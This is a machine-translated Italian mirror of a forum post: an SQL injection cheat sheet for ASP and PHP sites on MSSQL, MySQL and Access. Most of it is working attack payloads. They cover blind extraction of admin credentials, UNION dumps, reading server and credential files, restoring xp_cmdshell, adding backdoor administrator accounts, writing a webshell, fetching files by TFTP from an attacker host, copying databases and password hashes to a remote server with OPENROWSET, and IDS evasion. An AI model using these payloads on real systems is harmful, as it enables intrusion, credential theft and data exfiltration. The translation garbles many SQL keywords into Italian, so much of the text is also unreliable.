Questo articolo è un articolo speculare di traduzione automatica, clicca qui per saltare all'articolo originale.

Vista: 20889|Risposta: 2

[Comunicazione sicura] Libro di iniezione SQL - Vulnerabilità ASP Injection Full Contact

[Copiato link]
Pubblicato su 28/09/2015 18:21:41 | | |


Query cross-database MSSQL (cibo puzzolente!) Scuro)

Spremere fino all'ultima goccia di MS SQL

I riferimenti alle istruzioni SQL e gli oggetti del recordet sono spiegati in dettaglio

Informazioni sulle stored procedure in SQL Server

Crea una webshell con il backup mssql

SQL_Injection applicazioni avanzate

Iniezione SQL cross-site (laokai)

Iniezione SQL Strana (AMANL)

Iniezione SQL avanzata nelle applicazioni SQL Server

Come utilizzare l'iniezione SQL per attraversare directory

Guida delle tecniche di iniezione SQL (Traduttore: demonalex)

Alcuni attacchi ai database SQL

Tecnica di Attacco tramite Iniezione SQL (JSW)

SQL_Injection Applicazioni Avanzate (APACHY)

Metodi Poco Comuni di Iniezione SQL (Guilin Veteran)

Backup di una shell

Parliamo della struttura delle istruzioni di iniezione php+mysql (Heyhehehehe·≯Super· Hei)

Iniezione SQL avanzata con MySQL(angel)

L'injection (My)SQL via PHP

Linguaggio Oracle SQL

Enciclopedia di iniezione manuale SQL

I prerequisiti richiedono strumenti: SQL Query Analyzer e SqlExec Sunx Version
==============================================================================================
1. Determinare se esiste un punto di iniezione
; e 1=1 e 1=2
2. Immagino che il nome della tabella non sia altro che admin admin user user password password, ecc.:
e 0<>(seleziona count(*) da *)
e 0<>(select count(*) da admin) — Determinare se la tabella admin esiste
3. Indovina il numero di account Se incontri 0< torna alla pagina corretta 1< restituisci la pagina di errore per indicare che il numero di account è 1
e 0<(select count(*) da admin)
e 1<(select count(*) dall'admin)
4. Indovina il nome del campo Aggiungi il nome del campo che ci viene in mente tra parentesi len( ).
e 1=(select count(*) da admin dove len(*)>0)–
e 1=(seleziona count(*) dall'admin dove len(nome utente nome campo)>0)
e 1=(seleziona count(*) da admin dove len(_blank>nome del campo password)>0)
5. Indovina la lunghezza di ogni campo Indovina la lunghezza da trasformare >0 finché non viene restituita la pagina corretta
e 1=(seleziona count(*) da admin dove len(*)>0)
e 1=(select count(*) da admin dove len(name)>6) errore
e 1=(seleziona count(*) da admin dove len(name)>5) La lunghezza corretta è 6
e 1=(seleziona count(*) da admin dove len(name)=6) è corretto
e 1=(select count(*) da admin dove len(password)>11) è corretta
e 1=(select count(*) da admin dove la lunghezza dell'errore len(password)>12) è 12
e 1=(select count(*) da admin dove len(password)=12) è corretta
6. Indovina i personaggi
e 1=(seleziona count(*) dall'admin dove left(name,1)=a) — Indovina la prima cifra dell'account utente
e 1=(seleziona count(*) dall'admin dove left(name,2)=ab)—Indovina la seconda cifra dell'account utente
Basta aggiungere un carattere alla volta per indovinare, indovinare quante ne hai appena indovinato, e il numero di conto verrà estratto
(1) Indovina il nome del tavolo

Frasi utilizzate:
e esiste (seleziona * dal nome della tabella)

Per esempio:
e esiste (seleziona * da admin)

Se la pagina riecheggia correttamente, significa che il nome della tabella che abbiamo indovinato qui è corretto, e se la pagina è sbagliata, significa che il nome della tabella che abbiamo scritto qui è sbagliato

, poi cambia il nome del tavolo e continua a indovinare finché non indovini.

Generalmente, i nomi di tabelle comunemente usati includono admin, manage, user o inseriscilo nell'esecuzione dello strumento
(2) Indovina il campo

Frasi utilizzate:
e esiste (seleziona il nome del campo dal nome della tabella)

Per esempio:
e esiste (seleziona il nome utente dall'admin)

Qui, supponendo che la tabella amministrativa sia quella che ho indovinato correttamente sopra, allora voglio determinare se il campo nome utente esiste, devo usare questa istruzione, se la pagina

Se l'eco del volto è corretto, significa che il nome del campo che abbiamo indovinato qui è corretto, e se la pagina è sbagliata, significa che il nome del campo che abbiamo scritto qui è sbagliato

, poi cambia il nome del campo e continua a indovinare finché non indovini.

Generalmente, i nomi comuni dei campi includono username, password, user, pass, name, pass, pwd, usr, psd e altri campi
(3) ordine da

Ordine per Ottenere la somma del numero di campi in quella pagina, preparandosi per la prossima query congiunta
(4) Unione Selezionata

  1. Se supporti la query congiunta, trova il bit di visualizzazione http://www.xxx.com/product_show.asp?id=1 e la selezione dell'unione 1=2

1,2,3,4,5,6,7,8,9,10,11
Supponiamo che i bit di visualizzazione siano 5,6. Successivamente, dobbiamo solo sostituire i nomi dei campi corrispondenti al nome utente e alla password dell'amministratore con la posizione del bit di visualizzazione qui
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 dall'admin ho trovato il login in background
  2. Se la query congiunta non è supportata
Il nome utente e la password dell'amministratore non possono essere ottenuti senza una query congiunta - usando la decodifica Ascii verbatim
Due
  Usa l'ordine per per giudicare il numero di bit nella tabella e, se non funziona, usa la selezione unitiva per ordinarli uno per uno; qui assumiamo 8 bit
Tre
  Utilizzare una query congiunta per determinare i bit di visualizzazione
Quattro
  Usa il bit di visualizzazione per trovare il nome del database, la versione del database, 5.0 o superiore può essere iniettata
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,utente(),0x5c,
versione(),8
Cinque
  Con il nome del database, puoi iniziare a ottenere lo schema del nome della tabella = seguito dal valore HEX del nome del database, e indovinare il nome della tabella
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+da+information_schema.colonne+dove+
table_schema=0x666C6965725F6462617365
Sei
  Il nome della tabella analizzata determina il valore HEX del nome della tabella dell'amministratore=nome tabella, e indovina i campi nella tabella
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO

+column_name),8+
da +information_schema.colonne+dove+table_name=0x7075625F7765626D6173746572
Sette
  Dopo aver ottenuto i campi nella tabella di amministrazione, prendiamo il contenuto dei campi
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINTO

+username,
0x5f,userpwd),8+da+pub_webmaster
Otto
  Tool scansiona lo sfondo: accedi per caricare il Trojan dopo averlo trovato, e se non riesci a trovare il file robots.txt puoi accedere
Nove
  Se non riesci a trovare lo sfondo, la password dell'amministratore MYSQL verrà esposta
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(utente,password),8+da+mysql.user
Dieci
  Accedi casualmente a un percorso e il feedback è la pagina predefinita 404 di IIS6, che indica che il server del sito è: Windows+IIS6+php+MySql ambiente
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Questo percorso può ottenere le informazioni di configurazione del sito web.
  Istruzioni costrutte http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Undici
  Analizza il codice e trova l'indirizzo di background
  Nel primo passo, dobbiamo ottenere la lunghezza dei campi nella tabella
Dichiarazioni utilizzate:
e (seleziona la lente top 1 (nome del campo) dal nome della tabella)>0
Come cosa:
e (seleziona top 1 len(admin_name) da admin)>0
La pagina viene visualizzata normalmente, la lunghezza del campo admin_name è superiore a 0, e io presenterò:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
La pagina mostra un errore che indica che il campo è compreso tra 0 e 10, e la lunghezza è 5 usando la dicotomia
Usando lo stesso metodo per determinare la lunghezza del campo per la password dell'amministratore, ottengo una lunghezza di 16
  Passo 2
Ora passiamo al secondo passaggio: prendiamo un certo carattere nel campo e otteniamo il codice ASCII del carattere, che viene usato

Affermazione:
e (seleziona top 1 asc(mid(nome del campo, N,1)) dal nome della tabella)>0
Lasciatemi guardare questa frase separatamente, prima la funzione più interna (username, 1,1), che è il primo carattere del campo admin_name, N

indica che i primi caratteri devono essere intercettati,
Poi la funzione esterna asc(), che converte i caratteri intercettati dalla funzione intermedia in codice ASCII, il top 1 più esterno, rappresenta il campo di ritorno del primo posto

Un record, quindi,
Il ">0" alla fine serve a confrontare il codice ASCII convertito con questo numero, e infine ottenere l'intercettazione cambiando costantemente l'ultimo valore

Trova la specificità di questo personaggio
Codice ASCII
Sottomissione:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
La pagina viene visualizzata normalmente, indicando che il codice ASCII di questo carattere è superiore a 30.
Sottomissione:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
La pagina viene visualizzata normalmente, indicando che il codice ASCII di questo carattere è superiore a 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Il codice ASCII che ho ottenuto per questo personaggio è 97
Confronta la tabella ASCII:
Si può concludere che il primo carattere sia "a".
Poi giudicherò il codice ASCII del secondo carattere.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
La pagina viene visualizzata normalmente, indicando che il codice ASCII del carattere è superiore a 90, e l'ultimo valore viene sempre cambiato
Lo stesso metodo ha fornito la password dell'amministratore, e il risultato che ho ottenuto è stato:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
e 1=(seleziona il primo 1 count(*) da Admin dove Asc(mid(pass,5,1))=51) –
Questa query può indovinare l'utente cinese e la _blank> password. Basta sostituire i seguenti numeri con il codice cinese ASSIC

Converti in personaggi.

raggruppare per users.id che ha 1=1–www.myhack58.com
Raggruppa per users.id, username, user.password, users.privs con 1=1–
; inserisci in users values( 666, attacker, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME DA INFORMATION_blank>_SCHEMA. COLONNE Dove

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME DA INFORMATION_blank>_SCHEMA. COLONNE Dove

TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME DA INFORMATION_blank>_SCHEMA. COLONNE Dove

TABLE_blank>_NAME=logintable Dove COLUMN_blank>_NAME NON IN

(login_blank>_id,login_blank>_name)-
UNION Seleziona TOP 1 login_blank>_name DA logintable-
UNION Seleziona la password TOP 1 DA logintable dove login_blank>_name=Rahul–
Guarda la patch giocata dal server _blank> = patch SP4 sbagliata, rete di sicurezza black bar
e 1=(seleziona @@VERSION)–

Guarda i permessi dell'account _blank> di connessione al database, e restituisce la normalità, dimostrando che è il permesso sysadmin del ruolo _blank> server.
e 1=(Seleziona IS_blank>_SRVROLEMEMBER(sysadmin))–

Determina l'account database _blank> collegato. (Usa l'account SA per connettere e restituire normale = dimostrare che l'account collegato è SA)
e sa=(Seleziona System_blank>_user)–
e user_blank>_name()=dbo–
e 0<>(select user_blank>_name()–

Vedi se xp_blank>_cmdshell cancella
e 1=(Seleziona count(*) FROM master.dbo.sysobjects Dove xtype = X E nome = xp_blank>_cmdshell)



xp_blank>_cmdshell viene eliminato, ripristinato e supporta il recupero assoluto del percorso
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== permesso del database è esposto al codice di percorso fisico del sito web

==========================================================================
1. Tabella di caduta [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Crea tabella


2、 elimina [jm_tmp]; inserire [jm_tmp] esecutivo master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Inserisci la directory del sito nel campo tabella


3, e (seleziona il cast top 1([data] come nvarchar(4000) char(124) dall'ordine [jm_tmp] di [data]

desc)=0 '//Campo esposto


4. Drop Table [jm_tmp] -- elimina questa tabella.
Perché il comando prenda il guscio
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Altri percorsi delle stazioni
======================load_file() Informazioni sensibili comunemente utilizzate ===========================================
1、 sostituire(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
Le due opzioni sopra sono per visualizzare un file PHP che visualizza completamente il codice. Ci sono momenti in cui alcuni caratteri non vengono sostituiti, come "<" invece di "space" che restituisce

Pagina web. E il codice non può essere visualizzato.

3. load_file(char(47)) può elencare la directory root dei sistemi FreeBSD e Sunos

4. Visualizza il file di configurazione virtuale Linux APACHE in /etc/httpd/conf/httpd.conf o /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf oppure C:\apache\conf\httpd.conf per visualizzare WINDOWS

File System Apache

6. c:/Resin-3.0.14/conf/resin.conf Visualizza le informazioni di configurazione dei file in resina del sito web sviluppato da jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf per visualizzare l'host virtuale JSP configurato sul sistema Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /temi/darkblue_orange/layout.inc.php phpmyadmin esplosione

11. C:\Windows\system32\inetsrv\MetaBase.xml Visualizza il file di configurazione virtuale dell'host di IIS

12. /usr/local/resin-3.0.22/conf/resin.conf per visualizzare il file di configurazione RESIN per la 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Uguale a quanto sopra

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtual host

15. /etc/sysconfig/iptables dipende dalla policy del firewall

16. /usr/local/app/php5 con impostazioni equivalenti a PHP php.ini

17. File di configurazione MYSQL di /etc/my.cnf

18. /etc/versione di Red Hat per il sistema di rilascio

19 、C:\mysql\data\mysql\user. MYD esiste nella password utente nel sistema MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 per visualizzare l'IP.

21. /usr/local/app/php5 b/php.ini //impostazioni legate a PHP

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // impostazioni del sito virtuale

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue mostra le informazioni di distribuzione del kernel Linux

26、/etc/ftpuser

27. Controlla il file di registro operativo sotto LINUX user.bash_history o .bash_profile

28、/ecc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/tronchi/error.log
.. /apache/logs/access.log
.. /.. /apache/tronchi/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/tronchi/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/tronchi/error.log     
.. /apache/logs/access.log
.. /.. /apache/tronchi/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/tronchi/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Fai tu stesso l'esperimento PING inverso
; usa il maestro; dichiarare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Esecutivo

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Aggiungi un account
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Crea un disco elettronico di directory virtuale:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Attributi di accesso: (scrivendo su una webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Trucco _blank> speciale per burstare la libreria: :%5c=\ oppure modificare %5 con / e \ per fare commit
e 0<>(seleziona i primi 1 percorsi dalla nuova tabella)–

Prendi il nome del database (da 1 a 5 sono gli ID del sistema, e puoi giudicarli sopra 6)
e 1=(seleziona nome da master.dbo.sysdatabases dove dbid=7)–
e 0<>(select count(*) da master.dbo.sysdatabases dove name>1 e dbid=6)
Invia dbid a turno = 7,8,9.... Scopri più nomi _blank> database

e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=U) si inserisce in una tabella assumendo admin
e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=you e name not in (Admin)).

Altri tavoli.
e 0<>(select count(*) da bbs.dbo.sysobjects dove xtype=tu e name=admin
e uid>(str(id))) Il valore numerico dell'UID è assunto 18779569 uid=id
e 0<>(seleziona il nome top 1 da bbs.dbo.syscolumns dove id=18779569) ottieni un campo admin, false

Impostato su user_blank>_id
e 0<>(seleziona il nome top 1 da bbs.dbo.syscolumns dove id=18779569 e name non in
(id,...)) per esporre altri campi
e 0<(seleziona user_blank>_id da BBS.dbo.admin dove username>1) per ottenere il nome utente
Di conseguenza, puoi ottenere _blank> password。。。。。 Supponiamo che ci siano campi come user_blank>_id nome utente, password, ecc

e 0<>(select count(*) da master.dbo.sysdatabases dove name>1 e dbid=6)
e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=U) per ottenere il nome della tabella
e 0<>(seleziona il nome top 1 da bbs.dbo.sysobjects dove xtype=you e name not in(Address))
e 0<>(select count(*) da bbs.dbo.sysobjects dove xtype=you e name=admin e uid>(str(id)))

Determina il valore dell'id
e 0<>(seleziona il nome top 1 da BBS.dbo.syscolumns dove id=773577794) tutti i campi

?id=-1 union seleziona 1,2,3,4,5,6,7,8,9,10,11,12,13,* da admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 dall'admin (Union, Access è anche facile da usare)

Prendi il percorso WEB
; Crea tabella [DBO]. [scambio] ([swappass][char](255)); –
e (seleziona il top 1 swappass da swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Maestro.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEMA

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT inserire nei valori di paths(paths(@test)–
; usa ku1; –
; create table cmd (immagine str); – Creare un cmd di tabella del tipo immagine
1. Il modo per rimuovere il processo di estensione xp_cmdshell è utilizzare la seguente affermazione:

if exists (seleziona * da dbo.sysobjects dove id=object_id(N'[dbo].[ xpcmdshell]') e

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
executive sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Il modo per aggiungere xp_cmdshell processo di estensione è utilizzare la seguente affermazione:

(1) Analizzatore di query SQL

sp_addextendedproc xp_cmdshell.@dllname='xplog70.dll'

(2) Per prima cosa, compilare percentuali nell'opzione Formattazione di SqlExec Sunx Version e inserirla nell'opzione CMD

sp_addextendedproc 'xp_cmdshell', xpsql70.dll'

rimuovere

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Esistono xp_blank>_cmdshell processi di test:
; Maestro esecutivo... xp_blank>_cmdshell dir
; executive master.dbo.sp_blank>_addlogin jiaoniang$; – Aggiungere account SQL
; executive master.dbo.sp_blank>_password null, jiaoniang$, 1866574; –
; executive master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; Utente master.dbo.xp_blank>_cmdshell Esecutivo Jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; Exec master.dbo.xp_blank>_cmdshell NET Localgroup Administrators jiaoniang$ /add; –
Maestro esecutivo... xp_blank>_servicecontrol inizio, programma l'inizio _blank> servizio
Maestro esecutivo... xp_blank>_servicecontrol inizio, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c NET localgroup administrators jiaoniang$ /add
; Maestro esecutivo... xp_blank>_cmdshell tftp - i youip get file.exe – Carica file usando TFTP

; dichiarare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; dichiare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; dichiarare @a; set @a=db_blank>_name(); Backup del database @a su disco=il tuo IP La tua directory condivisa bak.dat
Se sono limitati, sì.
seleziona * da openrowset(_blank>sqloledb,server; SA; ,seleziona OK! Esecutivo

master.dbo.sp_blank>_addlogin hax)

Struttura della Query:
Seleziona * DA notizie Dove id=... E argomento=... E .....
adminand 1=(seleziona count(*) da [user] dove username=victim e right(left(userpass,01),1)=1)

e userpass <>
seleziona 123; –
; usa il maestro; –
:a o nome come fff%; – Mostra un utente di nome ffff.
e 1<>(seleziona count(email) da [utente]); –
; Aggiornamento [utenti] imposta email=(seleziona il nome top 1 da sysobjects dove xtype=tu e status>0) dove

nome=ffff; –
; Aggiornamento [utenti] Imposta email=(seleziona l'ID top 1 da sysobjects dove xtype=you e name=ad) dove

nome=ffff; –
; Aggiornamento [utenti] imposta email=(seleziona il nome top 1 da sysobjects dove xtype=tu e id>581577110)

dove name=ffff; –
; Aggiornamento [utenti] imposta email=(seleziona top 1 count(id) dalla password) dove name=ffff; –
; Aggiorna [utenti] imposta email=(seleziona top 1 PWD dalla password dove ID=2) dove Name=FFFF; –
; Aggiornamento [utenti] Imposta email=(seleziona il nome top 1 dalla password dove id=2) dove nome=ffff; –
La dichiarazione sopra è di ottenere la prima tabella utente nel database _blank> e inserire il nome della tabella nel campo email dell'utente ffff.
Visualizzando il profilo utente di ffff, puoi ottenere la prima tabella chiamata AD
Poi ottieni l'ID di questa tabella secondo il nome della tabella ad per ottenere il nome della seconda tabella

inserire in users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
inserisci nei valori degli utenti (667,123,123,0xffff)–
inserisci nei valori degli utenti (123, admin–, password, 0xffff)–
; e user>0
; e (seleziona count(*) da sysobjects)>0
; e (select count(*) da mysysobjects)>0 // per il database access_blank>

Enumera il nome della tabella dei dati
; Aggiorna AAA Set AAA=(seleziona il nome top 1 da sysobjects dove xtype=you e status>0); –
Qui viene aggiornato il nome della prima tabella al campo AAA.
Leggi la prima tabella, e la seconda può essere letta così (aggiungi e nomina la condizione<> il nome della tabella che hai appena ricevuto).
; Aggiorna AAA Set aaa=(seleziona il nome top 1 da sysobjects dove xtype=tu e status>0 e

nome<>voto); –
Poi id=1552 e esiste (seleziona * da aaa dove aaa>5)
Leggi la seconda tabella e leggila una per una finché non ne rimane più.
Il campo di lettura appare così:
; aggiorna aaa set aaa=(seleziona top 1 col_blank>_name(object_blank>_id(nome tabella),1)); –
Poi id=152 e exists (seleziona * da aaa dove aaa>5) riceve un errore e ottiene il nome del campo
; aggiorna aaa set aaa=(seleziona top 1 col_blank>_name(object_blank>_id(nome tabella),2)); –
Poi id=152 e exists (seleziona * da aaa dove aaa>5) riceve un errore e ottiene il nome del campo

[Ottieni nome della tabella dati] [Aggiorna il valore del campo con il nome della tabella e poi leggi il valore di questo campo per ottenere il nome della tabella]
Aggiorna la tabella nome Set Field=(seleziona il nome top 1 da sysobjects dove xtype=tu e status>0 [ e nome<>

Il nome della tabella che ottieni Trova uno più uno]) [dove condizione] seleziona il nome top 1 da sysobjects dove xtype=tu e

Stato>0 e nome non in(tabella1,tabella2,...)
Creare un account amministratore database e un account amministratore di sistema _blank> _blank> iniezione di vulnerabilità tramite SQLSERVER [L'account corrente deve essere il gruppo SYSADMIN]

[Ottenere nome del campo Datatable] [Aggiorna il valore del campo con il nome del campo, e poi leggi il valore di questo campo per ottenere il nome del campo]
Aggiorna Nome Tabella Set Field=(Select Top 1 col_blank>_name(object_blank>_id (Nome della tabella dati per Query), colonna del Campo

Ad esempio: 1) [dove condizione]

Bypassare il rilevamento IDS [Usando variabili]
; dichiarare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; dichiare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Apri il database remoto _blank>
Sintassi di base
select * da OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, seleziona * dalla tabella1 )
Parametri: (1) Nome OLEDB del fornitore
2. Il parametro della stringa di connessione può essere qualsiasi porta da connettere, come ad esempio
select * da OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,

seleziona * dalla tabella
3. Copia l'intero database _blank> dell'host di destinazione e inserisci tutte le tabelle remote nella tabella locale.

Sintassi di base:
inserire in OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, seleziona * dalla tabella 1) seleziona

* dalla tabella 2
Questa istruzione line copia tutti i dati dalla tabella 2 sull'host target alla tabella 1 nel database remoto _blank>. Riparazioni appropriate in applicazione pratica

Cambia l'indirizzo IP e la porta della stringa di connessione per indicare dove serve, ad esempio:
inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona

* dalla Tabella1) seleziona * dalla Tabella2
inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona

* da _blank>_sysdatabases)
seleziona * da master.dbo.sysdatabases
inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona

* da _blank>_sysobjects)
seleziona * da user_blank>_database.dbo.sysobjects
inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona

* da _blank>_syscolumns)
seleziona * da user_blank>_database.dbo.syscolumns
Replica _blank> database:
inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona

* dalla tabella 1) seleziona * dal database.. Tabella 1
inserire in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona

* dalla tabella 2) seleziona * dal database.. Tabella 2

L'hash della password che copia l'accesso _blank> la password della tabella hash (HASH) è memorizzato nei sysxlogin. Ecco come:
inserisci in OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Indirizzo=192.168.0.1.1433; ,seleziona * da _blank>_sysxlogins)

seleziona * da database.dbo.sysxlogins
